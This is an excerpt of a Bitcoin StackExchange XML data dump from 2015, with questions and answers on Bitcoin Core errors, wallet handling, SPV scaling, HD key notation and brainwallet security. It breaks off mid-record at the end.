  <row Id="38302" PostTypeId="2" ParentId="38300" CreationDate="2015-06-28T17:02:32.303" Score="0" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;Does that mean blockchain.info will retry to call that bad url 1000 times before it finally gives up ?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;It would appear so, and I can't see a way to cancel it, besides creating a page at that url with the text '*ok*'&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To see what requests it's made already, try looking at &lt;a href=&quot;https://blockchain.info/api/api_receive&quot; rel=&quot;nofollow&quot;&gt;this page&lt;/a&gt; and putting the bad url in the Check Callback Response Log form.&lt;/p&gt;&#xA;" OwnerUserId="2306" LastEditorUserId="2306" LastEditDate="2015-06-28T18:11:01.340" LastActivityDate="2015-06-28T18:11:01.340" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="38303" PostTypeId="1" CreationDate="2015-06-28T17:30:26.130" Score="9" ViewCount="18279" Body="&lt;p&gt;I downloaded Bitcoin Core (64 bit) and I am still waiting for it to synchronize. But just now, when I open the software, it loads from 1% to 100% and then a message appears with the inscription &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;code&gt;Cannot obtain a lock on data directory C:/Users/ADMIN/AppData/Roaming/Bitcoin. Bitcoin Core is probably already running.&lt;/code&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Then the program disappears to the task bar and I can't open it from the task bar. Please, any help?&lt;/p&gt;&#xA;" OwnerUserId="26722" LastEditorUserId="5406" LastEditDate="2015-07-29T12:06:18.633" LastActivityDate="2017-01-08T12:36:35.427" Title="Bitcoin Core cannot obtain lock" Tags="|bitcoin-core|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="38304" PostTypeId="2" ParentId="30337" CreationDate="2015-06-28T19:30:34.247" Score="1" Body="&lt;p&gt;Depends on what you are going to do with your address. As for me there are three main cases to consider:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Will you store so huge amouts of bitcoin to fear attackers who are targeting yourself directly?&lt;/li&gt;&#xA;&lt;li&gt;Are your computer as unsecure as most of non-technical people computers (and therefore: is it possible that it is already infected by some virus)?&lt;/li&gt;&#xA;&lt;li&gt;Or last but not least: are you doing some controversial business and fear being spyed by government or someone else who may want to know either your private keys or just that certain address belongs to you?&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;In fact in everyday life situations there is no need for security better than just keeping your antivirus up to date and avoiding storing generated keys on disk (which could lead to a leak if your computer gets compromised in the future). Unless you've put all your savings in BTC.&lt;/p&gt;&#xA;" OwnerUserId="18403" LastActivityDate="2015-06-28T19:30:34.247" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38305" PostTypeId="1" AcceptedAnswerId="38306" CreationDate="2015-06-28T22:50:26.637" Score="0" ViewCount="177650" Body="&lt;p&gt;Please tell me, is &lt;strong&gt;1 TH = 1000GH&lt;/strong&gt;?&lt;/p&gt;&#xA;" OwnerUserId="27075" LastEditorUserId="5406" LastEditDate="2016-01-21T14:35:13.893" LastActivityDate="2016-01-21T14:49:53.850" Title="How many GH in 1 TH?" Tags="|hashpower|" AnswerCount="1" CommentCount="0" ClosedDate="2015-06-29T06:29:47.497" ContentLicense="CC BY-SA 3.0" />
  <row Id="38306" PostTypeId="2" ParentId="38305" CreationDate="2015-06-28T23:28:03.520" Score="6" Body="&lt;p&gt;Correct, one terahash (= 10^12 hashes) equals 1000 gigahashes (=1000*10^9 hashes).&lt;br&gt;&#xA;Prefixes such as &lt;code&gt;tera&lt;/code&gt;, &lt;code&gt;kilo&lt;/code&gt;, or &lt;code&gt;milli&lt;/code&gt; are &lt;em&gt;SI prefixes&lt;/em&gt; (or &lt;em&gt;&lt;a href=&quot;https://en.wikipedia.org/wiki/Metric_prefix&quot; rel=&quot;nofollow&quot;&gt;metric prefixes&lt;/a&gt;&lt;/em&gt;). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or you can look at it in &lt;a href=&quot;http://www.wolframalpha.com/input/?i=1+Terahash&quot; rel=&quot;nofollow&quot;&gt;Wolfram Alpha&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="27128" LastEditorUserId="5406" LastEditDate="2016-01-21T14:49:53.850" LastActivityDate="2016-01-21T14:49:53.850" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38307" PostTypeId="2" ParentId="36920" CreationDate="2015-06-29T01:19:27.630" Score="1" Body="&lt;p&gt;the libbitcoin framework is definitely meant for back-end development. If you don't want to compile the source from &lt;a href=&quot;https://github.com/libbitcoin/libbitcoin-server/blob/master/install.sh&quot; rel=&quot;nofollow&quot;&gt;bitcoin-server&lt;/a&gt;, you can download the &lt;a href=&quot;https://github.com/libbitcoin/libbitcoin-server/wiki/Download-BS&quot; rel=&quot;nofollow&quot;&gt;binaries&lt;/a&gt; for Windows, Linux and the Mac.  See this slide presentation for an &lt;a href=&quot;http://www.slideshare.net/swansontec/libbitcoin-slides&quot; rel=&quot;nofollow&quot;&gt;overview about libbitcoin&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Obelisk, now called bitcoin-server (bs), is build upon &lt;a href=&quot;https://github.com/libbitcoin&quot; rel=&quot;nofollow&quot;&gt;libbitcoin&lt;/a&gt; framework that is built on top of the zeromq and sodium packages. This means connections between bitcoin-server and clients such as bitcoin-explorer (bx) can be made scalable and secure the confidentiality of data in transit between bx clients and bitcoin-servers. The communication ports between &lt;a href=&quot;https://github.com/libbitcoin/libbitcoin-explorer/wiki/Configuration-Settings&quot; rel=&quot;nofollow&quot;&gt;bx&lt;/a&gt; and &lt;a href=&quot;https://github.com/libbitcoin/libbitcoin-server/wiki/Configuration-Settings&quot; rel=&quot;nofollow&quot;&gt;bs&lt;/a&gt; are different from regular bitcoin clients and their nodes. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, &lt;a href=&quot;https://wiki.unsystem.net/en/index.php/Obelisk/Servers&quot; rel=&quot;nofollow&quot;&gt;bs&lt;/a&gt; still uses ports 8333 (mainnet) and 18333 (testnet) to communicate to the rest of the Bitcoin network nodes.  When runnings bs, you can see easily see how the height of the local copy of the Bitcoin Blockchain is via watching the stdout.  Transactions also start to appear on the stdout channel when the bs node is almost complete.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The Spesmilo repository for Obelisk is now deprecated by bitcoin-server. Similarly, the sx repository is also deprecated by bx. The latest code for &lt;a href=&quot;https://github.com/libbitcoin/libbitcoin-server&quot; rel=&quot;nofollow&quot;&gt;bs&lt;/a&gt; and &lt;a href=&quot;https://github.com/libbitcoin/libbitcoin-explorer&quot; rel=&quot;nofollow&quot;&gt;bx&lt;/a&gt; have very fast moving branches. Beware that bitcoin-servers tend to require a little over 3x the disk space than bitcoin-core servers for retaining the blockchain. I suspect an 8x increase in the max Bitcoin block size will require the blockchain format used by bs for storage to undergo a redesign.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can't speak Pybitcointools other than locating this find concerning &lt;a href=&quot;https://github.com/libbitcoin/libbitcoin-explorer/issues/13&quot; rel=&quot;nofollow&quot;&gt;Python functionality&lt;/a&gt;. To round out a description of the libbitcoin functionality which leads to this &lt;a href=&quot;https://libbitcoin.dyne.org/genjix/libbitcoin-explorer-commands.pdf&quot; rel=&quot;nofollow&quot;&gt;documentation&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="10377" LastEditorUserId="10377" LastEditDate="2015-06-29T12:10:39.310" LastActivityDate="2015-06-29T12:10:39.310" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38308" PostTypeId="2" ParentId="38303" CreationDate="2015-06-29T01:53:05.290" Score="7" Body="&lt;p&gt;Try &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/4006/where-is-the-data-folder-for-bitcoin-qt&quot;&gt;opening your data directory&lt;/a&gt; and deleting the file &lt;code&gt;.lock&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Make sure Bitcoin is closed while you're doing this.&lt;/p&gt;&#xA;" OwnerUserId="2306" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.583" LastActivityDate="2015-06-29T01:53:05.290" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="38309" PostTypeId="1" CreationDate="2015-06-29T04:20:30.470" Score="1" ViewCount="83" Body="&lt;p&gt;i have troubles with my system, using iotop i identified bitcoind as the source of problems.&#xA;I am running bitcoind of bitcoin-0.10.0-linux32 and am using the RPC calls of bitcoind. My wallet file is 112 MB.&#xA;My assumption is everytime an a new bitcoin address is created the whole wallet file is written to disk. In iotop i see that about ~110MB is written to disk regurarily by the bitcoind process. This is problematic for the system setup because it slows down other processings significantly. And this happens often, more than 1 time in a minute.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can i do something about it?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you&#xA;Cahoiner&lt;/p&gt;&#xA;&#xA;&lt;p&gt;*************Edit*************&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This problem still exists with current bitcoind 0.11.2.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I assembled statistics with inotifywatch. I watched the bitcoin directory for 4800 seconds, the results are:&#xA;Wallet file modifications: 7585738 (ughh !!)&#xA;Modifications in subdir chainstate: 1290930 (also high, pls lower this)&lt;/p&gt;&#xA;" OwnerUserId="27130" LastEditorUserId="27130" LastEditDate="2016-01-08T15:52:28.837" LastActivityDate="2016-01-08T15:52:28.837" Title="Bitcoind writes complete wallet.dat regularly which is a problem, what can i do?" Tags="|wallet|bitcoind|bitcoin-core|client|wallet.dat|" AnswerCount="0" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="38311" PostTypeId="2" ParentId="37344" CreationDate="2015-06-29T12:11:40.580" Score="6" Body="&lt;p&gt;Generally speaking, &lt;a href=&quot;https://github.com/bitcoin/bips/blob/master/bip-0037.mediawiki&quot; rel=&quot;nofollow&quot;&gt;BIP37&lt;/a&gt; bloom filtering SPV has atrocious scaling though it is hard to say exactly how poor it is in the real works.  &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Every peer must sync the entire block chain from the last they had contact with the network, in the worst case this is approximately 50GB. The node must load every single block from disk, filter it to the clients specifications and return the result. The amount will grow until the end of Bitcoin or time, whichever comes first. Without some protocol changes pruning is incompatible with BIP37 SPV as it expects all blocks to be available at all hosts. &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;For every wallet which is synchronized, each incoming block and transaction must be individually filtered. This involves a non negligible amount of CPU time, and must be done for each peer in turn for every inventory item. &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;It is unclear exactly how much CPU power an average node has, but at least some portion of nodes are running on bottom of the barrel hardware like a Raspberry Pi which is very unlikely to be able to happily serve more than a couple of peers at a time. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Similarly a large portion of listening nodes are hosted on budget VPS providers which offer a single shared core and extremely poor performance. &lt;a href=&quot;https://getaddr.bitnodes.io/nodes/?q=ovh&quot; rel=&quot;nofollow&quot;&gt;OVH&lt;/a&gt; has 300, &lt;a href=&quot;https://getaddr.bitnodes.io/nodes/?q=hetzner&quot; rel=&quot;nofollow&quot;&gt;Hetzner&lt;/a&gt; has 300 &lt;a href=&quot;https://getaddr.bitnodes.io/nodes/?q=digital%20ocean&quot; rel=&quot;nofollow&quot;&gt;Digital Ocean&lt;/a&gt; has 124, &lt;a href=&quot;https://getaddr.bitnodes.io/nodes/?q=AS55053&quot; rel=&quot;nofollow&quot;&gt;CloudAtCost&lt;/a&gt; is truly at the bottom of the pile with 6. &lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;BIP37 is vulnerable to trivial denial of service attacks, &lt;a href=&quot;https://github.com/petertodd/bloom-io-attack&quot; rel=&quot;nofollow&quot;&gt;demonstration code is available&lt;/a&gt; that is able to cripple nodes by fast inventory requests through filters causing continuous disk seek and high CPU usage.  It is tempting to say that clients could use proof of work (but this is impossible on a battery powered device like a phone) or micropayments (impossible if a node doesn't know it has received money yet) but neither really offers a clear solution.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;There's also likely a lot less than 6000 listening nodes, some are pruned which is fairly useless for a SPV client to sync with, many are listening on both IPv4 and IPV6 and are duplicated in that number as a result. The real number of actual nodes is probably more along the lines of 5000, and the number of them not on dialup speed uplinks is substantially lower. &lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Is it reasonable to expect millions of SPV node users connecting to ~6,000 full nodes?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Absolutely not, even just for the reason that the code defaults to a maximum of 117 incoming connections which would be around half a million total available sockets in the network (the majority of which are already consumed today). &lt;/p&gt;&#xA;" OwnerUserId="24925" LastEditorUserId="24925" LastEditDate="2015-10-26T22:55:34.267" LastActivityDate="2015-10-26T22:55:34.267" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38313" PostTypeId="2" ParentId="38267" CreationDate="2015-06-29T15:51:51.840" Score="2" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;Is there any standard notation for the xpub calculated from a hardened child private key?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I have chosen to use the below notation. Others may use it if they find it useful.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[m/44'/0'/0']&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Is the public key derived from the hardened child private key. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[m/44'/0'/0']/0/0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Is a child public key derived from the master private key m. However, &lt;code&gt;[m/44'/0'/0']&lt;/code&gt; may be stored as a separate public key, essentially as a checkpoint in the HD tree.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This notation has some useful characteristics:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Easy to parse. &lt;/li&gt;&#xA;&lt;li&gt;Shows exactly where the private-&gt;public derivation was done. So, while &lt;code&gt;[m/44'/0'/0']/0/0&lt;/code&gt; and &lt;code&gt;[m/44'/0'/0'/0]/0&lt;/code&gt; my produce the same &lt;code&gt;xpub&lt;/code&gt;, the calculations done to derive that xpub were quite different.&lt;/li&gt;&#xA;&lt;li&gt;Inside of brackets, hardened notation may be used, but outside of brackets only non-hardened notation is permitted.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="18196" LastActivityDate="2015-06-29T15:51:51.840" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38314" PostTypeId="1" CreationDate="2015-06-29T16:07:50.323" Score="4" ViewCount="593" Body="&lt;p&gt;Today I updated namecoin by building the new &quot;namecore&quot; reimplementation  but when starting &lt;code&gt;namecoind&lt;/code&gt; I got this message:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Error opening block database.&#xA;&#xA;Do you want to rebuild the block database now?&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and before I could do anything &lt;code&gt;namecoind&lt;/code&gt; crashed.&#xA;So I moved away the &lt;code&gt;Namecoin&lt;/code&gt; folder and let it regenerate everything, blockchain included.&#xA;This time it started without errors, so I copied my &lt;code&gt;wallet.dat&lt;/code&gt; into the folder and restarted &lt;code&gt;namecoind&lt;/code&gt; but I got an &lt;code&gt;Error:&lt;/code&gt; and it crashed again.&#xA;The &lt;code&gt;debug.log&lt;/code&gt; shows this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;2015-06-29 15:36:51 Using wallet wallet.dat&#xA;2015-06-29 15:36:51 init message: Verifying wallet...&#xA;2015-06-29 15:36:51 CDBEnv::Open: LogDir=/home/michele/Library/Application Support/Namecoin/database ErrorFile=/&#xA;2015-06-29 15:36:51 Renamed wallet.dat to wallet.1435592211.bak&#xA;2015-06-29 15:36:51 CDBEnv::Salvage: Database salvage found errors,     all data may not be recoverable.&#xA;2015-06-29 15:36:51 Salvage(aggressive) found no records in wallet.1435592211.bak.&#xA;2015-06-29 15:36:51 Error:&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I figured the wallet format has changed somehow, so using the old client I dumped the private keys and I succefully imported them using &lt;code&gt;importprivkey&lt;/code&gt;. I can see the address, the balances and all but &lt;code&gt;name_list&lt;/code&gt; shows nothing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do I get back my names now?&lt;/p&gt;&#xA;" OwnerUserId="27132" LastEditorUserId="27132" LastEditDate="2015-06-29T19:28:10.407" LastActivityDate="2015-07-15T09:52:36.447" Title="How to migrate wallet from namecoin to namecore?" Tags="|bitcoind|namecoin|private-key-import|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38315" PostTypeId="1" CreationDate="2015-06-29T19:08:20.097" Score="1" ViewCount="33" Body="&lt;p&gt;Has anyone here explored or pondered possibilities for meta-mining?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Theoretically, you could have miners work on any computational problem, and then have rewards handed out proportionally as part of a programmable smart-contract, based upon how the contribution to this mass-calculation is progressing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This form of mining could itself be tied to side-chains and the actual blockchain, but executed through applications which make mining more agile and customizable to a specific computational or explorational need.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Are these &quot;meta-mining&quot; practices possible?&lt;/p&gt;&#xA;" OwnerUserId="27134" LastEditorUserId="5406" LastEditDate="2016-04-04T12:08:05.130" LastActivityDate="2016-04-04T12:08:05.130" Title="Meta-Mining: Can mining exist in abstract states?" Tags="|bitcoin-core|mining-pools|mining-theory|" AnswerCount="0" CommentCount="7" ClosedDate="2015-12-24T10:45:54.423" ContentLicense="CC BY-SA 3.0" />
  <row Id="38318" PostTypeId="1" CreationDate="2015-06-29T20:27:42.657" Score="1" ViewCount="92" Body="&lt;p&gt;I'm dorking around with creating a TEST transaction using libbitcoin's bx command.  Besides setting the inputs and outputs, the bx tx-encode sub-command allows one to specify lock_time and version.  Any idea where one can look to find details about what the current version is for BTC and TEST transactions?&lt;/p&gt;&#xA;" OwnerUserId="10377" LastEditorUserId="10377" LastEditDate="2015-07-14T18:35:02.117" LastActivityDate="2015-08-13T19:50:33.243" Title="Versions of protocols for BTC and TEST?" Tags="|transactions|protocol|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38319" PostTypeId="2" ParentId="38318" CreationDate="2015-06-29T21:25:10.617" Score="1" Body="&lt;p&gt;You should use &lt;code&gt;TX_VERSION = 1&lt;/code&gt; and &lt;code&gt;TX_LOCK = 0xFFFFFFFF&lt;/code&gt; for mainnet and testnet&lt;/p&gt;&#xA;" OwnerUserId="12983" LastActivityDate="2015-06-29T21:25:10.617" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="38320" PostTypeId="1" AcceptedAnswerId="38357" CreationDate="2015-06-29T23:20:52.867" Score="13" ViewCount="2907" Body="&lt;p&gt;I've done some research myself, but I find that I'm either biased myself, or my sources themselves are biased. Does anyone have an objective analysis of the various proposals and their advantages/disadvantages? First-seen-safe, child-pays-for-parent, full-RBF are the ones I know about, but would happily read more proposals if they're out there.&lt;/p&gt;&#xA;" OwnerUserId="26887" LastEditorUserId="5406" LastEditDate="2016-02-21T10:36:45.580" LastActivityDate="2016-02-21T10:36:45.580" Title="Can someone outline the full pros/cons of the various Replace-By-Fee proposals?" Tags="|transaction-fees|unconfirmed-transactions|child-pays-for-parent|replace-by-fee|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="38323" PostTypeId="1" CreationDate="2015-06-30T05:09:34.303" Score="5" ViewCount="198" Body="&lt;p&gt;Does scrypt mining inherently confer any environmental benefit or energy efficiency for the same level of service provided?&lt;/p&gt;&#xA;" OwnerUserId="14236" LastActivityDate="2015-06-30T05:21:01.587" Title="All else being equal which is better for the environment, Litecoin or Bitcoin?" Tags="|litecoin|energy-consumption|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38324" PostTypeId="2" ParentId="38323" CreationDate="2015-06-30T05:21:01.587" Score="1" Body="&lt;p&gt;No. It is exactly the same balancing mechanism: Electricity and acquisition cost vs revenue.&lt;br&gt;&#xA;I would expect the total environmental impact to turn out similar for a given revenue value.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But then, maybe I'm missing something. I'm curious for other answers.&lt;/p&gt;&#xA;" OwnerUserId="5406" LastActivityDate="2015-06-30T05:21:01.587" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="38333" PostTypeId="1" CreationDate="2015-06-30T17:58:15.937" Score="4" ViewCount="466" Body="&lt;p&gt;Does &lt;code&gt;LOCK(cs_main)&lt;/code&gt; pause and branach the program in order to do some necessary job before going on?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm trying to publish blocks reactively (as a selfish miner) upon receipt of inventory message from &lt;em&gt;&lt;code&gt;pfrom&lt;/code&gt;&lt;/em&gt; and react to it after &lt;code&gt;*pfrom*&lt;/code&gt; catches up with the  height of my secret block.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Following lines didn't help/there was no reaction on selfish node's side:&lt;br/&gt;&#xA;added following lines in &lt;a href=&quot;https://github.com/bitcoin/bitcoin/blob/v0.10.0/src/main.cpp#L3662&quot; rel=&quot;nofollow&quot;&gt;main.cpp: after l. 3662&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;   ...&#xA;        {&#xA;            LOCK(cs_main);&#xA;            pfrom-&amp;gt;PushMessage(&quot;inv&quot;, pfrom-&amp;gt;vPrivateInv);&#xA;        }&#xA;   ...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="24556" LastEditorUserId="47827" LastEditDate="2021-05-12T13:15:20.007" LastActivityDate="2021-05-12T13:15:20.007" Title="What is the function of LOCK(cs_main)?" Tags="|bitcoin-core-development|c++|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38334" PostTypeId="1" CreationDate="2015-06-30T18:14:53.760" Score="2" ViewCount="2567" Body="&lt;p&gt;I sent some money 3 hours ago my BTC client (Bitcoin Core) still says the payment is unconfirmed ?.&#xA;Any help much appriciated&lt;/p&gt;&#xA;" OwnerUserId="27155" LastActivityDate="2015-07-09T00:43:12.507" Title="Transaction still unconfirmed" Tags="|unconfirmed-transactions|" AnswerCount="2" CommentCount="1" ClosedDate="2015-12-21T15:16:41.200" ContentLicense="CC BY-SA 3.0" />
  <row Id="38336" PostTypeId="2" ParentId="38333" CreationDate="2015-06-30T20:16:53.753" Score="4" Body="&lt;p&gt;&lt;code&gt;LOCK(cs_main)&lt;/code&gt; causes the thread to stop execution until a lock can be obtained on cs_main. cs_main is an object representing a type/class/scope of lock. Once the lock is obtained, it lasts until the end of the LOCK statement's scope. (The LOCK macro creates an object on the stack, the destruction of which releases the lock.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;cs_main is already locked in that place, and LOCK uses recursive locks, so your LOCK doesn't do anything.&lt;/p&gt;&#xA;" OwnerUserId="403" LastEditorUserId="403" LastEditDate="2015-07-01T03:01:24.387" LastActivityDate="2015-07-01T03:01:24.387" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="38338" PostTypeId="1" CreationDate="2015-06-30T22:05:45.083" Score="3" ViewCount="347" Body="&lt;p&gt;Let's suppose I derive a private-public keypair from a passphrase like this : &lt;/p&gt;&#xA;&#xA;&lt;p&gt;long_and_complex_enough_but_yet_easy_to_remember_passphrase&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now I wish to generate 100 more keypairs using same passphrase, so I append consecutive numbers : &lt;/p&gt;&#xA;&#xA;&lt;p&gt;long_and_complex_enough_but_yet_easy_to_remember_passphrase_001&#xA;long_and_complex_enough_but_yet_easy_to_remember_passphrase_002&#xA;long_and_complex_enough_but_yet_easy_to_remember_passphrase_003&#xA;...&#xA;long_and_complex_enough_but_yet_easy_to_remember_passphrase_100&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this safe enough to do, as long as the initial passphrase is enough complex one, or maybe the consecutive numbers add any vulnerability ?&lt;/p&gt;&#xA;" OwnerUserId="27164" LastActivityDate="2016-02-13T07:30:02.040" Title="Is this brainwallet approach safe enough?" Tags="|brain-wallet|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38339" PostTypeId="2" ParentId="38338" CreationDate="2015-07-01T01:38:48.597" Score="5" Body="&lt;p&gt;Appending numbers doesn't open you up to any particular vulnerability, but using any human derived private key is an extremely poor idea. Markov chains are extraordinarily good at attacking passphrases, which is counter intuitive when most people assume an exhaustive search character by character.&lt;/p&gt;&#xA;" OwnerUserId="24925" LastActivityDate="2015-07-01T01:38:48.597" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38341" PostTypeId="2" ParentId="38338" CreationDate="2015-07-01T04:04:57.357" Score="1" Body="&lt;p&gt;Be sure to take an old computer that you intend to decommission and use it &quot;exclusively&quot; for key generation.  Don't ever use your key generation platform in a &quot;periods processing&quot; mode, nor save synthesized keys on the key generation platform. If a Web browser Javascript key generator is used, be sure to clear your browser's cache afterwards. Never have key generator computer connect to any network from the 1st day it is used to operationally synthesize keys. Never have a printer print unencrypted private keys in either text or QR code image form. For example, a rogue &lt;a href=&quot;https://github.com/glassechidna/zxing-cpp&quot; rel=&quot;nofollow&quot;&gt;ZXing&lt;/a&gt; application can easily applied to scan QR images for the raw private keys.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Be sure your key generation computing platform has all the key generation software you intend to use installed on it and have backup key generation S/W that won't ever touch a networked machine again.  Don't even think about sneaker netting a thumb drive containing keys. Secure the S/W in a similar fashion as the key generating platform, but keep them separated. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Have your old computer generate QR codes that you optically scan that are out of sight from others, and above all ensure your old computer is physically secure or destroyed after you no longer intend to use it. This &quot;data diode&quot; key generation approach should afford you substantial security.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Picking a passphrase with high entropy is very important!  Be sure to include at least a few extra oddball special characters that are spread out such as: !@#$%^&amp;amp;*(){}[]. Entropy can be improved by cryptographically hashing (e.g., SHA256) your passphrase you can remember yourself and then performing one or more nonlinear operations to create more complex data to seed the brain wallet. Specific details for performing such nonlinear operations should not be shared with others. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For an example of nonlinear operations, let's use say the first 13 hexidecimal characters of a SHA256 operation's results are used to prefix the original passphrase and say the last 29 hexidecimal characters to the right side of the hash are used to postfix to right of your original phrase or transpose the previously described prefix or postfix. And/or possibly look for a repeating adjacent characters to delimit a prefix and postfix hexidecimal numbers for your original passphrase. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Repeat this whole brain wallet synthesis process many times over the course of a few days to be absolutely certain your complex base passphrase used to seed your brain wallet can be reconstructed successfully by ensuring your public addresses associated with you brain wallet are the same. Rushing the generation of of an effective brain wallet seed is your enemy...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then for good measure, postfix and/or prefix your complex base passphrase again with a sequential number as you did to make it easier to make subsequent brain wallets. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your brain wallet(s) can also be used as a seed for a BIP38 AES encoded paper wallet to that won't need as much password entropy as long as they are not exposed to the Internet and it is kept in a safe place. People can't tell how much money is in your BIP38 wallets as long as you don't store companion public addresses with them. Only print BIP38 AES encoded keys with a printer that you are not so sure you can trust. Once the a portion of a cold wallets funds are imported into a hot wallet, the cold wallet is no nonger cold. It is at least lukewarm...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you are using a Javascript branwallet key generator, be sure to save the code for reuse possibly a decade or so later. For key process generation integrity purposes to ensure you won't burn swept funds, apply other key generator S/W to confirm that a given private key generated from the initial brain wallet can be used to create an identical public address.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Additionally, it very difficult for a crook to hold you for ransom for your brain wallet described above because it will take considerable time to synthesize and require proper computing resources.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've been doing something like what was stated above for several years... It is a very secure approach as long as you are sure you don't burn any coins when performing your sweeps to a bad public address that you may have accidentally associated with one of your cold wallet's private key. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ensuring the integrity of public keys from your key generator to you hot wallet is critical. I use my cell phone or tablet's QR code scanner to reliably capture public key addresses. When texting captured QR codes across a network to another wallet performing sweeps to the cold wallet, you'll need to ensure the integrity of the public address sent across a network before performing sweeps.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://point-at-infinity.org/ssss/&quot; rel=&quot;nofollow&quot;&gt;Shamir's secret&lt;/a&gt; can also be applied to create a process to reconstitute wallets in case of death for heirs to inherit.  This is a poor man's off-blockchain multisig.  A sealed will could be used as a vehicle to reveal the m of n extra shared secret information to reconstitute the shared secrets. Don't reveal how big m is of n to others. Plus since you have a brain/BIP 38 wallet you can change your will's allocations when heirs piss you off... &lt;/p&gt;&#xA;" OwnerUserId="10377" 